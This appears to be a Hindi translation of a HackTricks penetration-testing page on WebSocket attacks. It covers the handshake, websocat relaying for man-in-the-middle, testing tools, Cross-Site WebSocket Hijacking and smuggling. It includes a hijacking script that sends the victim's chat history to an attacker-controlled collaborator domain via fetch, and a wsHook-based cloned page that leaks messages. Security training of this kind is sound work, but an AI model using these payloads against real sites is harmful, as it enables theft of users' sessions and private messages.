WebSocket Attacks

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

WebSockets क्या हैं

WebSocket कनेक्शन HTTP हैंडशेक के माध्यम से स्थापित किए जाते हैं और लॉन्ग-लाइव्ड डिज़ाइन किए गए हैं, जो किसी भी समय बिना सौदा सिस्टम की आवश्यकता के दोनों दिशाओं में संदेश भेजने की अनुमति देते हैं। इससे WebSockets विशेष रूप से कम लैटेंसी या सर्वर-प्रेरित संचार की आवश्यकता होने वाले एप्लिकेशन्स के लिए अधिक फायदेमंद होते हैं, जैसे कि लाइव वित्तीय डेटा स्ट्रीम।

WebSocket कनेक्शन की स्थापना

WebSocket कनेक्शन स्थापित करने के विस्तृत विवरण को यहाँ देखा जा सकता है। सारांश में, WebSocket कनेक्शन आम तौर पर नीचे दिखाए गए क्लाइंट-साइड जावास्क्रिप्ट के माध्यम से प्रारंभ किए जाते हैं:

var ws = new WebSocket("wss://normal-website.com/ws");

wss प्रोटोकॉल एक TLS सुरक्षित WebSocket कनेक्शन को दर्शाता है, जबकि ws एक असुरक्षित कनेक्शन को दर्शाता है।

कनेक्शन स्थापना के दौरान, ब्राउज़र और सर्वर के बीच एक हैंडशेक किया जाता है HTTP के माध्यम से। हैंडशेक प्रक्रिया में, ब्राउज़र एक अनुरोध भेजता है और सर्वर का प्रतिक्रिया देता है, जैसा निम्नलिखित उदाहरणों में दिखाया गया है:

ब्राउज़र एक हैंडशेक अनुरोध भेजता है:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

सर्वर का हैंडशेक प्रतिक्रिया:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

WebSocket हैंडशेक की मुख्य बिंदु:

  • Connection और Upgrade हेडर WebSocket हैंडशेक की शुरुआत की संकेत करते हैं।

  • Sec-WebSocket-Version हेडर वांछित WebSocket प्रोटोकॉल संस्करण को दर्शाता है, आम तौर पर 13

  • Sec-WebSocket-Key हेडर में एक Base64-कोडित यादृच्छिक मान भेजा जाता है, जिससे प्रत्येक हैंडशेक अद्वितीय होता है, जो कैशिंग प्रॉक्सी के साथ समस्याओं को रोकने में मदद करता है। यह मान प्रमाणीकरण के लिए नहीं है बल्कि यह सुनिश्चित करने के लिए है कि प्रतिक्रिया किसी गलत कॉन्फ़िगर किए गए सर्वर या कैश द्वारा उत्पन्न नहीं है।

  • सर्वर की प्रतिक्रिया में Sec-WebSocket-Accept हेडर Sec-WebSocket-Key का हैश है, जो सर्वर की इच्छा की पुष्टि करता है कि वह एक WebSocket कनेक्शन खोलना चाहता है।

ये विशेषताएँ सुनिश्चित करती हैं कि हैंडशेक प्रक्रिया सुरक्षित और विश्वसनीय है, जो अच्छी तरह से वास्तविक समय में संचार के लिए मार्ग खोलती है।

websocat --insecure wss://10.10.10.10:8000 -v

या एक वेबसोकेट सर्वर बनाने के लिए:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

यदि आपको पता चलता है कि ग्राहक आपके मौजूदा स्थानीय नेटवर्क से HTTP websocket से कनेक्ट हैं, तो आप ARP Spoofing Attack का प्रयास कर सकते हैं ग्राहक और सर्वर के बीच MitM हमला करने के लिए। एक बार जब ग्राहक आपसे कनेक्ट होने की कोशिश कर रहा है तो आप निम्नलिखित का उपयोग कर सकते हैं:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

वेबसॉकेट्स जांच

आप टूल https://github.com/PalindromeLabs/STEWS का उपयोग कर सकते हैं ताकि वेबसॉकेट्स में ज्ञात कमजोरियों की खोज, फिंगरप्रिंट और खोज कर सकें।

वेबसॉकेट डीबग टूल्स

  • Burp Suite नियमित HTTP संचार के लिए जैसे ही करता है, उसी तरह से MitM वेबसॉकेट्स संचार का समर्थन करता है।

  • socketsleuth Burp Suite एक्सटेंशन आपको हिस्ट्री प्राप्त करने, इंटरसेप्शन नियम सेट करने, मैच और रिप्लेस नियम उपयोग करने, Intruder और AutoRepeater का उपयोग करके Burp में वेबसॉकेट संचार को बेहतर ढंग से प्रबंधित करने देगा।

  • WSSiP: "WebSocket/Socket.io Proxy" के लिए छोटा, यह टूल, जो Node.js में लिखा गया है, एक उपयोगकर्ता इंटरफेस प्रदान करता है ताकि वह सभी वेबसॉकेट और सॉकेट.आईओ संचारों को कैप्चर, इंटरसेप्ट, कस्टम संदेश भेज सके और क्लाइंट और सर्वर के बीच सभी वेबसॉकेट और सॉकेट.आईओ संचारों को देख सके।

  • wsrepl एक इंटरैक्टिव वेबसॉकेट REPL है जो विशेष रूप से प्रवेशन परीक्षण के लिए डिज़ाइन किया गया है। यह एक इंटरफेस प्रदान करता है जिसका उपयोग आने वाले वेबसॉकेट संदेशों को देखने और नए भेजने के लिए किया जा सकता है, इस संचार को स्वचालित करने के लिए एक सरल उपकरण प्रदान करता है।

  • https://websocketking.com/ यह एक वेब है जिसका उपयोग करके अन्य वेब्स के साथ वेबसॉकेट्स का उपयोग किया जा सकता है।

  • https://hoppscotch.io/realtime/websocket अन्य प्रकार के संचार/प्रोटोकॉलों के बीच, यह एक वेब है जिसका उपयोग करके अन्य वेब्स के साथ वेबसॉकेट्स का उपयोग किया जा सकता है।

वेबसॉकेट लैब

Burp-Suite-Extender-Montoya-Course में आपको एक कोड मिलेगा जिसका उपयोग करके वेबसॉकेट्स का उपयोग करके एक वेब लॉन्च करने के लिए और इस पोस्ट में आपको एक स्पष्टीकरण मिलेगा।

क्रॉस-साइट वेबसॉकेट हाइजैकिंग (CSWSH)

क्रॉस-साइट वेबसॉकेट हाइजैकिंग, जिसे क्रॉस-ऑरिजिन वेबसॉकेट हाइजैकिंग के रूप में भी जाना जाता है, क्रॉस-साइट रिक्वेस्ट फॉर्जरी (CSRF) का एक विशेष मामला माना जाता है जो वेबसॉकेट हैंडशेक को प्रभावित करता है। यह कमजोरी उत्पन्न होती है जब वेबसॉकेट हैंडशेक केवल HTTP कुकीज़ के माध्यम से प्रमाणीकृत होते हैं बिना CSRF टोकन या समान सुरक्षा उपायों के।

हमलावर एक कुकर्म वेब पृष्ठ को होस्ट करके इसे उत्पन्न कर सकते हैं जो एक कमजोर एप्लिकेशन के लिए एक क्रॉस-साइट वेबसॉकेट कनेक्शन प्रारंभ करता है। इस परिणामस्वरूप, यह कनेक्शन उपभोक्ता के सत्र का हिस्सा के रूप में व्यावसायिक अभाव से उपयोग किया जाता है, सत्र प्रबंधन तंत्र में CSRF सुरक्षा की कमी का शोषण करता है।

सरल हमला

ध्यान दें कि वेबसॉकेट कनेक्शन स्थापित करते समय कुकी सर्वर को भेजी जाती हैसर्वर इसे हर विशिष्ट उपयोगकर्ता को उसके भेजे गए कुकी के आधार पर उसके वेबसॉकेट सत्र से संबंधित करने के लिए उपयोग कर रहा हो सकता है।

फिर, यदि उदाहरण के लिए वेबसॉकेट सर्वर एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है अगर एक संदेश के साथ "READY" भेजा जाता है, तो एक सरल XSS जो कनेक्शन स्थापित करता है (कुकी विकल्प उपभोक्ता को अधिकृत करने के लिए स्वचालित रूप से भेजी जाएगी) "READY" भेजने के बाद बातचीत का इतिहास पुनः प्राप्त करने में सक्षम होगा।

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

क्रॉस ऑरिजिन + कुकी एक विभिन्न सबडोमेन के साथ

इस ब्लॉग पोस्ट https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ में हमलावर ने डोमेन के एक सबडोमेन में अर्बिट्रे जावास्क्रिप्ट को निषेचित करने को सफलतापूर्वक किया। क्योंकि यह एक सबडोमेन था, इसलिए कुकी भेजी जा रही थी, और क्योंकि वेबसॉकेट ने मूल्यांकन सही से नहीं किया था, इससे उसके साथ संवाद करना और उससे टोकन चुराना संभव था।

उपयोगकर्ता से डेटा चुराना

उस वेब एप्लिकेशन की प्रतिरूपण करना है (उदाहरण के लिए .html फ़ाइलें) और स्क्रिप्ट के अंदर जहां वेबसॉकेट संचार हो रहा है, उसमें इस कोड को जोड़ें:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

अब https://github.com/skepticfx/wshook से wsHook.js फ़ाइल डाउनलोड करें और वेब फ़ाइलों वाले फ़ोल्डर में सहेजें। वेब एप्लिकेशन को उजागर करके और एक उपयोगकर्ता को इससे कनेक्ट कराने के बाद आप websocket के माध्यम से भेजे गए और प्राप्त किए गए संदेश चुरा सकेंगे:

sudo python3 -m http.server 80

रेस कंडीशन

वेबसॉकेट्स में रेस कंडीशन भी एक चीज है, अधिक जानने के लिए यह जानकारी देखें

अन्य सुरक्षा दोष

वेब सॉकेट्स एक तंत्र हैं सर्वर साइड और क्लाइंट साइड को डेटा भेजने के लिए, सर्वर और क्लाइंट जानकारी को कैसे संभालते हैं इस पर निर्भर करता है, वेब सॉकेट्स का उपयोग किसी भी अन्य सुरक्षा दोष को भेजने के लिए किया जा सकता है जैसे कि XSS, SQLi या किसी अन्य सामान्य वेब दोष का उपयोग करके एक उपयोगकर्ता के वेबसॉकेट से इनपुट का उपयोग करके।

वेबसॉकेट स्मग्लिंग

यह सुरक्षा दोष आपको रिवर्स प्रॉक्सी प्रतिबंधों को उल्लंघन करने की अनुमति देता है जिसे उन्हें यह मानने के लिए मजबूर करता है कि एक वेबसॉकेट संचार स्थापित हो गया था (यदि यह सच नहीं है)। यह एक हमलावर को छिपी हुई एंडपॉइंट्स तक पहुंचने की अनुमति देता है। अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:

pageUpgrade Header Smuggling

संदर्भ

Last updated